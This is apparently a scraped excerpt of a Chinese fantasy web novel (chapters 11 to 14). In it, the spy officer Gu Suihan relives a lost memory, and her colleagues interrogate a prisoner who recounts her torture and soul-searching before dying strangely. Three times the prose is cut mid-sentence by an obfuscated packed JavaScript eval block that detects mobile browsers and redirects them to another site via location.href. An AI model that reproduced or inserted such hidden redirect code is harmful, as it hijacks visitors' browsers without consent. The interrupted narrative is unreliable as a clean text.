其实按照蒋奚的说法,宋酿失踪一事至今都是悬案——落棋阁没有找到她的下落,但她也很可能并不如同民间传说的那样,为了萧凌飞叛国投敌。具体的证据就是,宋酿对大盛北部三州的布防可谓是了如指掌,假如她真的投敌了,那之后两国之间的几次交锋,北周就不应该打得那样吃力,最后也没讨到什么好处。 特别是十八年秋天宋酿刚刚失踪时的那一战,当时宋安澜埋伏北邙山下奇袭北周军的点子其实是去年冬天的时候就已经有了的。当时姬泠随斥候出去巡查时发现了这处天然形成的雪窝子,正好可以用于埋伏在这条北周军常用的行军道上,便将消息带回给了宋酿。那之后宋酿、宋安澜又去实地探查一番,发现确实可行。只是那年冬天是个异常的暖冬,雪积了不到半个月就化了,这个计划就没能成行。 但是十八年深秋的时候那里的雪窝子已经成形了,假如宋酿真投靠了北周,她不可能不提醒邓飞英注意那个绝佳的埋伏点。 但这时候的姬泠还不知道。顾岁寒瞧着她,只在她身上看到了一种深深的迷茫。 但很快,她看上去就整理好了心情,将门打开迎着风走了出去。顾岁寒一边想着宋酿的事,一边无意识地跟上了她,谁知一只脚刚跨过门槛,一阵熟悉的晕眩就当头袭来,她又坠入了一片无边的黑暗中。 “嗯……侍棋?请问你是顾侍棋吗?” 模模糊糊中,她好像听见有人在喊自己。 她……是回到现世了吗? 不,不对。她猛得睁开了眼,迎上了蒋奚有些疑惑与不确定的目光。 但这时候的蒋奚很明显比她所熟知的那个青涩一些,身上穿的也是普通白棋的制服。见她醒过来,蒋奚松了一口气:“我……我一进来就看见您睡着,又带着面具,我都不太敢认您了……您是顾侍棋吧?” “顾岁寒”抬起了手,摘下了脸上蒙着的黑布。这时,顾岁寒才意识到这次有什么不对—— 在前两次时空中,她一直是以旁观者的身份参与整个故事,那个时空中原本的人也感受不到她的存在;但是这次不一样,她不仅拥有了实体,而且好像附在了“她自己”的身上! 11. 唐多令 四 但在“她自己”的身上,她反而失去了自由行动的权力。她看着“自己”将黑布放到了一边,疲惫地问蒋奚;“东西都准备好了吗?” 蒋奚看起来激动得快要蹦起来了,手忙脚乱地递过来了一卷黑布:“准……准备好了!您看看还缺什么吗?缺什么我马上去取!” “顾岁寒”将黑布接了过来,展开查验了一番。那黑布里是各式薄如蝉翼的暗器,她随手拿出了一把柳叶刀,在指间滚了一圈,锋刃上那一线银光汇作一道绚烂的光弧,叫蒋奚几乎看呆了。 看样子她自己对这卷布里的东西还是很满意的,试完之后就撩开了袖子,护腕似的绑在了小臂上,然后顺手把衣袖拉回去妥帖地盖住。在她自己身体里的顾岁寒顺着“自己”的目光看过去,忽然发现自己穿的竟然是黑棋的衣服。 另一边,“顾岁寒”吩咐蒋奚:“你再帮我拿两把齿间刃吧。此去北疆正值寒冷之际,长时间蹲守的话齿间刃更方便。” 北疆,黑棋的衣服……刹那间所有物品在顾岁寒脑中连成一线,她意识到,自己正是回到了潜入归雁台雁主身边偷回碎曦剑的那几天。 齿间刃顾岁寒醒来之后也见过,其实就是刃宽一些的匕首,刀背上多加了一块楔合的木头,供黑棋在出任务的时候叼着刀,手上就多出来了空间,方便行动。 小蒋奚点头如啄米,飞快地跑出去了,没过一会又噔噔噔回来,递上了两把齿间刃。这次“顾岁寒”没有试刀,只是简单查看了一下,就收进腰带上空着的刀槽里。 随后她和依依不舍的蒋奚告了别,转身开门出去了。蒋奚看起来还不太放心似的,在后面亦步亦趋地跟着:“侍棋是要用传送阵吗?嗯……自打之前沈贼千里偷袭阁中,传送阵就已经封了,如今再用需要新的阵诀了,侍棋知道吗?” “顾岁寒”的心情似乎不是很好,只是很简短地回答:“嗯,我知道。你先回吧。” “哦……”蒋奚跟霜打的茄子一样蔫了下来,“那……侍棋保重,我们都等着侍棋凯旋归来。” “顾岁寒”没回答,径直走了。后世的顾岁寒在她的身体里,用她的视角看不到蒋奚的表情,但用脚后跟都知道蒋奚该有多么垂头丧气。 “我以前这么拒人千里之外的吗?”顾岁寒感慨,“亏得蒋奚一直小跟班似的追着我,能一直坚持下来也太有毅力了吧。” 与此同时,现世中,“小跟班”蒋奚忽然感觉鼻子一痒,本来想偏头打个喷嚏的,一扭头就看见了风风火火赶来的宋安澜,又硬生生把喷嚏憋回去了:“……问镇北王安好。” 本来半闭着眼,并指探顾岁寒眉心的谢停舟听见了,也撤回了自己探入顾岁寒内府的真元,睁眼拱手行礼。可话还没出口,宋安澜就已经走到了面前,抬手打掉了他抬了一半的手:“少扯那些虚礼,梅臣到底怎么了?” 蒋奚对此道也是一知半解,只好将目光投向了谢停舟。没想到谢停舟也是一副不太确定的样子,先是简要把自己和顾岁寒两人用招阴符事从头叙述了一番,最后才犹豫道:“执棋阁下或许是重伤刚醒不久,魂魄不太稳定,所以被招阴符冲撞了一下,或许过一段时间就会自行醒来,殿下无须担心。” “魂魄不稳?”宋安澜捕捉到了关键词,疑道,“梅臣虽然受伤比较重,但之前检查过了,基本都是外伤,连修为都没什么折损,为什么会魂魄不稳?” 谢停舟耐心解释:“魂魄和修为虽然都不显于外,但并不可混为一谈。假若以酿米酒为例,魂魄就好比糯米,修为就好比酒液,没有了米,再好的泉水也无法酿出甘美的酒;但假若在酿好酒之后将酒缸里积的米挖走,一时半会是尝不出酒液味道的改变的……” “行行行,我大概听明白了,”宋安澜挥了挥手,打断了谢停舟,“你就直接说吧,梅臣这魂魄不稳应当怎样才能根治。” “恕在下才疏学浅,魂魄天生地养,古今圣人少有能将魂魄一物探究明了的。”谢停舟摇了摇头,“在下看来,执棋的魂魄目前只能静养。此外,殿下,魂魄是人之精气的承载,或许执棋失忆一事也与魂魄动荡不无关联,或许殿下应在此事上多上心。” 宋安澜上下扫视了他两眼,目光里赤-裸-裸的探究几乎藏不住。谢停舟就安然站在原地,不躲不避地任她看。最后也不知道宋安澜看出了什么,只听得她从鼻子里轻轻哼了一声,对他之前说的话不置可否,反而另起了一个话题:“阿泠一案,你多上心。梅臣的病也是,我回头再找两个太医来协助你,务必要把梅臣的病养到大好。我还有朝中的事要处理,先回了。” 说罢没等谢停舟行礼,她又转身风风火火地走了。全程在旁边看热闹的蒋奚“额”了一声:“谢侍棋,我怎么感觉殿下好像不是很待见你。” 谢停舟垂着眼睛,思绪不知飘到了何方:“……或许,殿下是吃醋了。” 蒋奚瞪大了眼睛:“哈?” 谢停舟解释道:“我与阿……姬执棋订婚前,执棋是殿下一人的军师,两人平时都形影不离,或许我与她订婚之后,执棋和殿下之间相处时间不如以往长?” 蒋奚心说这也太扯了,正想开口时余光中忽然看到了躺在床上的顾岁寒,惊呼道:“等等,侍棋,你看执棋的脸怎么突然这么苍白?” 谢停舟走到床边,俯下身来细看。顾岁寒不止是脸色苍白,身体也开始细细地发-抖,仿佛身处严寒中似的。谢停舟伸手试了试她的额头,也没试出发热,不由得困惑地拧紧了眉头。 而被困在“自己”身上的顾岁寒,确实正在跟着自己的身体轻轻发-抖。 用了新的阵诀之后,顾岁寒就跟着到了一处新地方。根据她对地貌比较有限的记忆,她似乎已经到了大结界的北面。 再往前走的时候顾岁寒反身朝南面拜了拜,她听见自己在心里默念—— “阿爸,阿妈,女儿此去凶险万分,倘若你们在天有灵,就保佑女儿能成功取回碎曦剑,不要再让这凶剑取走更多人的性命了。” 顾岁寒其实对自己的父母记忆已经很模糊了,只记得他们一家似乎曾经也是青州的名门望族,但道魔妖多年混战,百姓流离失所,再辉煌的望族也是烽烟下的一捧飞灰。 她很小的时候,家人就应该都亡于战火中了。似乎是一个老仆拼死将她送到了前线军中的姑姑,也就是姬泠母亲的家中,她才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15224096|165650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得以平安长大至今。 但那个小小的避风港也没能容纳她很久,姬泠父母殉阵之后,她就跟着姬泠来到了宫中,勉勉强强蹭了一个忠烈之后的名头,跟着姬泠兄妹几人一同在学堂进学,不久之后就被张首晟领去了落棋阁。 而如今,顾岁寒听着自己那时的心声,不禁有些茫然。 原来那时候的自己,走到生死的边缘时,也会下意识地回望养育自己的那个襁褓吗? 即使那个襁褓已经在记忆中淡去,那种精神上的归属和依赖也是一直存在的吗? 但从前的“自己”似乎并没有想那么深刻。拜别了青州之后,她就像一尾灵活的游鱼,悄悄潜过了两军交战的前线,跟那边的落棋阁白棋接上了头。简要交换了沈和□□上的一些信息之后,当天夜里,顾岁寒就蹲在了沈和正的临时府邸的树上。 沈和正是落棋阁人口口相传的硬骨头,据说至今都没有能在他身边潜伏三个时辰以上。落棋阁的前身棋部曾有一位黑棋大拿想刺杀沈和正,但也血溅沈和正三丈之外,未能成功。 顾岁寒以前对沈和正的可怖一直是仅有耳闻未能一见,但如今蹲在他临时落脚处的外墙边的树上,她算是见识到了沈和正那可怕的谨慎的冰山一角——这处小院里的地面上密密地绘着阵法,整个院子里静的可怕,只有沈和正偶尔的脚步声。 顾岁寒毫不怀疑,自己哪怕是有一根毫毛碰到了地上,都会引起阵法主人的注意。看样子过去的“顾岁寒”也是这么想的。这具身体叼着一把齿间刃,呼吸被压得刻意绵而长,瘦削的身体尽量贴在树干上,远远望去跟树叶的阴影浑然一体。 “顾岁寒”就在那里蹲了足足三个时辰,从天刚刚摸黑蹲到了月上梢头,期间整个人一动没动,要不是顾岁寒能隐隐约约听见一些自己心里的谋划,她简直要怀疑过去的自己已经蹲成了一块石头。 听“自己”的意思,她似乎是打算等沈和正入睡之后进屋内探查一番,但顾岁寒却不这么想。 “这也太冒险了,”她心说,“以沈和正的的谨慎,进屋探查多半要被发现,到时候肯定会被抓现行的。” “的确很冒险,”顾岁寒听见“自己”的心声这样说道,吓了她一激灵,差点以为自己的存在被过去的自己发现了。但紧接着她就发现这不过是“自己”也在想同一件事,因为“自己”自顾自地接着往下想,“但是没有别的办法了……赌一把吧。据说沈和正喜欢把重要的东西放到自己的客房里,算是一个怪癖,试一把总归不吃亏……谁!” 顾岁寒被“自己”突然加大的心声吓了一-大跳。视角突然旋转,“顾岁寒”似乎是听到了什么可疑的动静,转头向后看了过去。但是现在的顾岁寒还没来得及看清,忽然感觉“自己”的嘴里一轻,一声清脆的金属撞地响声从右后方传来—— 她感觉自己被人用闷棍敲了后脑勺似的,眼前猛得一黑,意识也从过去的自己身上脱离了出来,飞向了高空,随后又狠狠摔向了地面。她猛得睁开双眼,迎着还没来得及直起身的谢停舟惊愕的目光,忍着耳边疯狂的耳鸣,脱口而出: “是齿间刃!她——我——我的齿间刃掉到了地上!” 12. 唐多令 五 话出口的刹那,顾岁寒看清了在场的人,就意识到自己恐怕惊愕之下说错了话。当初递给她齿间刃的蒋奚也在场,假若那齿间刃当真有问题,蒋奚很有可能脱不开嫌疑。她如今把话先说出来了,可谓是打草惊蛇。 但蒋奚的表情同不知内情的谢停舟一样茫然:“什,什么齿间刃?” 那迷茫的表情毫无破绽,假若她是装的,那这演技未免太高超了。顾岁寒看着她的眼睛,一时之间心中千头万绪闪过,最终归为了一句:“……我去偷回碎曦剑之前,从阁里出发的那一天,你没递给我两把齿间刃吗?” 蒋奚更摸不着头脑了:“……什么递给您?您出发去青州边疆时,阁里没有人送您呀。那时候我应该在休沐呢,都回阁里了才听说您走了,还怪可惜的。” 听清话的刹那,顾岁寒如坠冰窟。 那假如蒋奚没说谎,那当时帮她取东西的人是谁?又或是说,她刚刚所经历的一切都只是一场过于真实的幻梦,而并非现实中真正发生过的事? 她定了定神,吩咐蒋奚:“你去帮我取一下我出发前后几天武器库里记录物品进出的册子。” 蒋奚连忙应了声是,领命匆匆离开了。这时一直默默在旁边的谢停舟忽然出声:“执棋刚刚经历什么了?方便和在下说说吗?” 顾岁寒这才想起旁边有个人。她刚刚经历了一场过于奇幻的旅途,急于找人诉说,但想起宋安澜“谢停舟不可信”的叮嘱,她又踌躇了。谢停舟仿佛看出了她心中所想,温声道:“如果执棋不愿意说,那在下也不能强逼,只是宋将军刚刚嘱托在下要好好看顾执棋,在下还是想多了解执棋身上的事。” 顾岁寒疑道:“果真?” 谢停舟笑了。这是醒来后顾岁寒第一次见他如此发自真心的笑容,给人的感觉好像化冻的春水,有一种温和的感染力。他一边笑,一边把手笼进了袖子里,不慌不忙地说:“在下还能在这件事上哄骗执棋不成?执棋和宋将军日夜相处,在下说的话执棋可以直接找将军求证,在下又何必吃力不讨好做出这等诓骗之事呢?” 这话其实说得有道理,方才顾岁寒也只是下意识地问一句,并不是真心有疑,干脆简要把自己在过去时空中这段奇妙的漂游将给了谢停舟听。谢停舟初初听到他与姬泠共论诗经那段还有些耳朵发红,听到后面却是眉头皱得越发深了起来。 直到顾岁寒说完,谢停舟都一直没发话,而是摩挲着手上戴着的那串珠子,一副若有所思的样子。顾岁寒的目光顺着他的动作看了过去,顺口问:“这是佛珠吗?” 谢停舟闻言看了一眼自己的手腕,笑了一下:“不是,就是普通的木头珠子。我平日思索时喜欢盘玩,所以就随身带着了。执棋若是喜欢,改日在下也可以送执棋一串,还希望执棋不嫌粗陋才是。” 顾岁寒只是随口一问,没想到引出了如此长的一串客套话,连连摆手:“不了,我们干这行的手上最好不要带东西,动起来有声音,就不好潜伏了。” 谢停舟闻言微微一愣,疑惑地看了她一眼,但最终还是没说什么,点了点头表示自己明白了。这时蒋奚也把册子拿了回来,顾岁寒接了过去,从头开始翻了翻。这本册子有记录的地方很薄,最早一条记录是从去岁九月底开始的,所以她很快就发现了自己的那一条。 取用的物品写明了是一套随身暗器,两把齿间刃,后面的借用人栏里明明白白地写着顾岁寒自己的名字,笔迹没有问题。 ——当初有问题的东西,就是她自己取的。 难道说,刚刚她昏迷后经历的一切,就是她自己的黄粱一梦吗? 顾岁寒愣愣地坐在原地,回忆刚刚的一切,也不禁对自己产生了一丝怀疑。这时候谢停舟倾身过来看了一眼她手中的册子,准确猜出了她心中所想:“执棋是在想刚刚经历的事情是真是幻吗?” 顾岁寒点了点头。蒋奚看上去还在状况之外,但也谨慎地没有出声搅扰。 谢停舟无意识地摸着自己的下巴:“在下倒是认为执棋刚刚见过的一切,很有可能是真实发生过的,证据有二。” “第一,执棋说自己见到的学堂中的一幕,在下对此也有记忆,执棋所说的与在下所记的几乎一般无二,而且最重要的是,执棋当时送了试题来就走了,后面的故事当时的执棋并没有亲眼见证过,所以执棋刚刚必然是进入了另一个亲眼见证过的人的记忆。”他琥珀色的眼珠定定看着顾岁寒,“我倾向执棋是进入了阿泠的记忆,执棋见到的第二幕也是如此。” 顾岁寒质疑:“可是我为什么会进入姬泠的记忆?” 谢停舟轻轻摇了摇头:“此事在下亦有怀疑,但在下认为这是因为执棋本身魂魄不稳,而当时阿泠的魂魄碎片就在我身边,招阴符作用下阿泠的魂魄与执棋的魂魄相撞,所以才有此效果。” “至于第二点证据,就是执棋的第三段经历。执棋提到这次执棋被困在了‘自己’的身体里,没有行动的自由,所以我猜测,这是执棋回忆起了自己的部分记忆。” “至于这段记忆中与现实不一样的部分……”谢停舟转头看向了完全在状况之外的蒋奚,“蒋奚姑娘,你提到执棋出发那天你在休沐,未曾来过落棋阁,可有人证?” “啊——啊?”蒋奚闻言站直了身子,“有……有的吧,我想想……对了,那天我睡了很长的一觉,睡醒之后拉了几个都是那天休沐的一起在家里打叶子牌来着,还输了不少钱!” 她把一起打牌的几个牌友通通都招了出来。顾岁寒默默记下了名字,准备回头找个空去求证一下。 但假如那天忙前忙后的真的不是蒋奚,那就更可怕了。到底是谁扮作了蒋奚,骗过了所有人的眼睛,出入落棋阁如入无人之境,甚至还留下了以假乱真的签名? 谢停舟想的却是另外一件事:“倘若在下的猜测不错,执棋身陷沈和正手中的那段时间,沈和正或许是对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15228052|165650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 执棋动了某种手段,导致执棋的魂魄出现问题,记忆也随之损失……阁里有对类似方法的记载吗?” 顾岁寒自然是几乎全然不记得,就把自己的目光投向了蒋奚。没想到蒋奚思考片刻之后也是摇摇头:“恕属下才疏学浅,并没有听说过类似的方法。不过归雁台有什么手段瞒着我们这边也是正常的,要是能有什么方法捉个归雁台里比较有身份的问问就好了……” 说到这里她和顾岁寒对视上了,两个人都是眼睛一亮:“等等,我们刚捉来的陈筑!我去问问刑司那边,上点咱们的手段问问他!” 说罢她就要往外跑,谢停舟叫住了她:“等等姑娘,我也去。” 蒋奚回头用眼神征询顾岁寒的意见。顾岁寒点了点头,谢停舟冲她感激一笑:“多谢执棋,执棋在此处修养,我们去去就回。” 他的笑容又变回了原先那种礼貌性的标准表情。顾岁寒点了点头示意自己知道了,谢停舟冲她躬身一礼,随后追上蒋奚的步伐匆匆离去。 外面阳关正好,蒋谢二人穿行在柳荫之中,落棋阁的大院里不乏正在练功的未出师的弟子,见到他俩都纷纷停下来行礼。谢停舟匆匆应了,低声问蒋奚:“蒋姑娘,我以前对落棋阁不够了解,咱们的弟子除了要按不同的棋部穿不同的制服之外,还有别的着装上的要求吗?” “着装上的?”蒋奚顺着他的问题想了想,“嗯……对黑棋要求会严格一些吧,黑棋统一要求束发至顶,不允许佩戴会碰撞出声的首饰;白棋要求就没那么严格,因为白棋更多需要乔装易容、潜伏打探消息嘛,照着自己需要扮演的人的身份上打扮就可以。至于没有任务在阁中赋闲时,白棋怎么装扮一般也没人管,喏。” 她点了点远处一个穿着白棋衣服,梳着高髻的姑娘:“她那种打扮在黑棋中就是绝对不行的,因为不方便练武。” 谢停舟想着之前顾岁寒说的话,含糊地点了点头。蒋奚好奇道:“谢将军怎么突然想起来问这个?” “啊,没怎么,随口一问。”谢停舟笑了笑,蒋奚也没深究,咯咯笑了起来:“之前我还以为将军查完姬泠执棋的案子就会离开落棋阁呢,没想到现在也打听起来阁里的细务了,难道是要长待下去不成吗?” 谢停舟没搭话,好在蒋奚也没指望着他答,远远一指前面:“那里就是棋牢啦。谢将军也是军中人,应该不怕血腥吧?” “啊,那是不怕的。”谢停舟伸手作请,“不过在下对此地不熟,姑娘先行。” 他跟着蒋奚的步伐往下走。棋牢是建在地底的,一股阴湿的铁锈味顺着打开的门往上翻。 在彻底没入黑暗前,他回头看了一眼执棋院的方向,不由得回想起了那个和蒲苇一样的执棋。 顾岁寒是白棋出身的,可是她为什么会用黑棋的着装要求来拒绝他呢? 是因为不想要他的东西,还是说…… 那是她下意识对自己的要求呢? 13. 清平乐 一 棋牢的最深处,陈筑被扣着双手吊在刑架上。距离他被抓进棋牢不过十二时辰不到,他已经完全脱了相,长发被暗红的血液浸-透,一绺一绺地贴在脸上。看管牢门的黑棋见他俩来,很有眼力见地提前把门打开,躬身请两人进去。 牢门的轻响让刑架上的躯体微微动弹,抬眼看了过来。见是他俩,陈筑“呵呵”地笑了起来,只不过气概再不复以往,胸膛里随着笑,拉风箱似的传出一阵阵杂音。 那黑棋见他笑,猛地一甩鞭子,鞭梢落在他胸膛上,带出一串血花。黑棋喝道:“笑什么笑!都到这步田地了还如此嚣张!” 蒋奚抬手止住那黑棋,冷冷道:“不必浪费时间。陈筑,我就问你一个事。听你被抓时口吻,我们执棋被沈贼捉住羞辱事,你应当在场。那你知不知道,当时归雁台对执棋都动了哪些手段?有没有什么手段,是会让人灵魂损伤的?” 蒋奚刚开始说话时,那陈筑微微睁大了眼,认真听着,听到后面时,他整张脸都扭曲了起来,脸上出现了一种夹杂着快意的扭曲笑容。蒋奚话音刚落,他就嘿然道:“我道是什么,你蒋侍棋纡尊降贵跑来居然是为了问这个!哈哈哈哈,我归雁台对顾岁寒那杂种动的手段就多了去了,我光在旁边看着都忍不住一阵阵手痒。至于你说的那种,我怎么知道,啊——” 他话音没落,就惨叫了一声。没反应过来的蒋奚震惊地看向了谢停舟还没收回来的手——刚刚是就是他夺过了黑棋手里的鞭子挥出了那一鞭。这一鞭的力道不像刚刚黑棋那样只是为了震慑,而是实打实用了力气的,伤痕深可见骨。 在阁里这两天,谢停舟一直彬彬有礼的,几乎让所有人都遗忘了他是一个出入沙场的武将。在陈筑的痛呼声中,谢停舟抬高了嗓音:“问你的话就老实交代,说东说西的干什么?” 蒋奚连忙跟着唱红脸:“又不是什么机密,你瞒着对你们归雁台也无甚好处;你如实说了,我们就能让你少受些苦头,岂不是美事?” 陈筑闻言微微转动眼睛,似乎在心里估量着什么。蒋奚见有戏,趁热打铁道:“你要是说了,我们现在立马就把你从刑架上放下来,如何?这么吊着,你这臂膀也不舒坦吧?” 不知这话戳中了陈筑哪里。他神色松动,似乎回忆了起来:“当时……” “当时,顾岁寒也是像我这样,被绑在刑架上。她绑了太久啦,偶尔放下来时,胳膊都已经没了知觉,软软地瘫在一边……” 蒋奚的拳头无意识握紧了,面上还是耐心道:“所以?” “哈哈,我就是随口一提,”微弱的光照在陈筑脸上,他露出一个带着血的微笑,“其实她之前逃出去过一次,就那么一次,碎曦剑就不见了……看守她的那几个都被换走了,好巧不巧,正好换到了我。” “你是说,执棋她并不是因为取碎曦剑被抓,而是先被抓而后才逃走取剑的?”顾岁寒醒来之后一直语焉不详,所以众人一直按惯性以为顾岁寒先是盗剑被发现,才有了后面的牢狱之灾,没想到真相竟是如此。 蒋奚和谢停舟对视了一眼,陈筑没能察觉到两人之间的暗波汹涌。他似乎已经全然进入了一个陶醉而迷幻的世界:“是啊……你说她,也是真有本事。那牢房每日四班人轮换值守,她怎么逃出去了呢?我听说啊,她逃出去之后,所有人都在找她,最后在存碎曦的密室里找到了。她晕倒在地,碎曦剑不见踪影。主人没有办法,只好将她绑回来审问碎曦的下落。” “她不肯说。”陈筑又笑起来了,“哈哈哈,她怎么能说呢?主人把能上的手段都上啦,什么都没问出来,最后只好用了搜魂。” 蒋奚皱起了眉头:“什么是搜魂?” 陈筑没出声,倒是谢停舟先解答了:“搜魂是早些年的禁术,就是用自己的神魂进入被搜魂者的内府中,搜刮被搜魂者的记忆。但是这个术法有风险,施术者修为不够的话,双方的魂魄都会因此受损。哪怕施术者是个修为深厚的大人物,搜魂也会对被施术者的神智造成不可逆的损伤。” 蒋奚紧张道:“多大的损伤?” 谢停舟摇头:“我不知道,这只是我从古籍上看到的记载。” 陈筑嘻嘻地笑了起来:“这位公子博学,我是不知道这些的。不过主人施术时,我就在旁边看,那顾岁寒最开始几次还是清醒地说‘我不知道’,后来整个人就痴傻了,只会说‘求求你,杀了我吧,杀了我吧’……” 说后一句话是,他可以掐细了嗓音,学着那时顾岁寒的语气。那声音又细又长,带着苦苦的哀求,在空空荡荡的牢房里回响。蒋奚被生生弄出了一身鸡皮疙瘩,也不顾什么红白脸了,厉声喝道:“放尊重些!阴阳怪气地做什么!” 但这招似乎对陈筑没用了。他张大了嘴开怀大笑,笑得乐不可支,笑得上气不接下气,仿佛遇到了此生最开心的事,那黑棋试图打断了好几次都没有效果。 蒋奚在那尖利的笑声中皱紧了眉头,就当她再也忍耐不了准备让人上刑时,那陈筑忽然像一只被人扼住了咽喉的鸭子,笑也不笑了,只是睁大了眼,两条腿扑腾了起来。蒋奚愣了两秒,忽然反应了过来,大喝:“把他放下来!他要死了!” 但还是晚了。空气中传来一声骨头断裂的清脆“咔嚓”声,陈筑圆瞪着眼,头像一边歪了过去,死时脸上还带着一丝未散尽的笑容,在黑暗的牢狱中显得格外诡异。 那黑棋第一次遇到这样的情况,手足无措地看向了场中两个能主事的:“这……这……侍棋大人,在下绝对没有对他用重刑啊!” 谢停舟沉声:“与你无关,你先下去。” 毕竟无论什么样的刑具都不可能隔空让人断颈而死。那黑棋如蒙大赦,快步走出刑牢,却在刚出门时生生刹住了,结结巴巴道:“执……执棋?您怎么在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246106|165650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里?” 蒋奚和谢停舟闻言都转身看向了牢门。顾岁寒从黑暗中转了出来,微笑道:“本来看你们在忙,没打算打扰的。” 她就在门外待着,门里连侍棋带黑棋三个人居然没有一个人发现。 她到底在门外听了多久,听到了多少?这杀千刀的陈筑阴阳怪气在那里模仿她的时候她是不是也听到了?蒋奚背上出了一层冷汗:“执,执棋……” “哦,我刚刚来。”似乎知道她在担心什么,顾岁寒脸上露出一个无懈可击的笑容,“怎么,有什么是我不能听的吗?这么紧张?” 还是谢停舟先反应了过来:“哦,没什么,这陈筑死前该交代的都交代了,只是他这死状实在是太奇怪了,执棋要来看看吗?” 顾岁寒果然被提起了兴趣,提步走了进来。两人为她让出了一条路,顾岁寒站到了刑架面前,端详着面前的尸身。余下两人屏息凝神,等她得出什么重要结论。结果她上下左右看了半天,只得出一句—— “他……身材挺壮实啊。” 蒋奚大跌眼镜:“执棋!” “哦,”顾岁寒看她好像误会了,摆了摆手澄清,“不是,我的意思是,刚刚我捏了捏他身上的肉,都很紧实,说明他应该是个有武功功底的人。” 蒋奚想到了什么,表情微微怔松。顾岁寒见她懂了,微笑道:“但是当初咱们在采绣楼捉他时,他可不像是有武功傍身的样子啊。” 蒋奚急忙道:“执棋的意思是,他和之前的不是一人?可是,他一被我俩捉来阁中,就被关进来了啊?” “我可没这么说,但我觉得这里面有问题。我觉得你要派人去查一查了。”顾岁寒歪头看向蒋奚,蒋奚立马打了鸡血似的站直了身子:“是!” 顾岁寒无奈道:“你别急。我这回来找你们俩,其实是想和你们俩说,黑棋传回来消息,说青州落棋阁传回来线索,有碎曦剑的消息了。” 三人逆着来抬尸体的黑棋们走出了棋牢。天光之下,顾岁寒微微眯起了眼睛。回身看向了背后两人:“青州边境的县城,中琅,最近几日接连有十二人死亡。” “经仵作查验,这十二人身上都只有一个两寸长的伤口,出血量不足以让人死亡。”她抱起双手,“但是当地捕快反复检验后,都无法确认他们身上是否有碎曦剑的气息。不管按这个描述,十有八-九是碎曦剑无疑。” 蒋奚顿时兴奋起来:“那执棋要去验证吗?” “我是肯定要去一下的。”说起这个顾岁寒似乎有些疲惫,她并起双指揉了揉眉心,“可是……唉,姬泠的案子我可能就要放一放了。小奚,你——” 她本意是想叫蒋奚从旁协助谢停舟查案,但没想到谢停舟忽然出了声。他的目光灼灼,直视着顾岁寒的眼睛:“我本来就要去青州阿泠殒命之处查探,此去正好与执棋同路,执棋不必叫蒋姑娘为我费心。” 14. 清平乐 二 这话一出,顾岁寒后面的话都不好说了。这是她第一次被这面人似的谢停舟噎一个跟头,滋味还怪新鲜。 她沉默片刻品味了一下,妥协道:“好吧,但无论如何,此去青州寻找碎曦剑还是第一要务,侍棋倘若跟我去,还务必要听我指令行事。” 谢停舟这回倒是没什么异议,很爽快地就答应了。三人在地牢门口道别,就各自回了自己的值房。 顾岁寒走到半路,忽然想起来手里的那本记录武器出入的册子还没还,就干脆溜溜达达地往库房的方向走去。 从幻境中的世界脱离出来后,她一直有些头晕眼花,整个落棋阁的院子都在她眼中天旋地转,使得她有些生理性的反胃。这种反胃在她进入地牢,听到陈筑的狂笑时达到了顶峰。 她其实很早就到了牢门边,走到那里时,正好听到陈筑的那句鹦鹉学舌。 老实说,她第一次听到那句话时,其实没什么感觉。陈筑说的所有事,说的所有话,都仿佛和她隔着一层障壁似的,听是听了,但不知为何,就像听说书似的,不觉得是发生在自己身上的事。 那时她甚至不像蒋奚那样感到过愤怒,连她都对自己的置身事外感到心惊肉跳——明明被陈筑怪腔怪调地学习的是她自己。 直到现在,走到了天光之下,她才后知后觉地品出了一丝味道。 原来,她曾像一条尊严尽失的狗一样,在沈和正的面前求饶啊。 她其实将很多事情都已经忘得很干净了,譬如说潜入青州之后的所有经过。但在刚刚经历的那幻境一般的过去中,她却奇异地在“自己”身上,找出了吉光片羽般的一角。 不知是不是因为那时在共用一个身体的原因,她感受到了那个自己当时所有的心境。 那时候的她,在面对未知的强敌时,心里有恐惧,有退缩,但从来没有怯懦过。 在对方的万千条思绪中,她捕捉过那么飞鸿踏雪般的几条,其中有几条让她印象最为深刻—— 蹲在沈和正院子里的树上时,“自己”曾经想过:“我会被抓住的吧……如果失败了,会生不如死吗?会被用来威胁南盛吗?” 那时她最能通感到“自己”的退缩的时候。那几瞬之间,她是真的确切地在想要转身就跑。 对于沈和正的恐惧和敬畏在师父和同僚们的宣传之下已经深-入骨髓,在树上蹲的无所进展几个时辰也在告诉她:她只有夜深人静的那一次机会,而且很有可能失败。 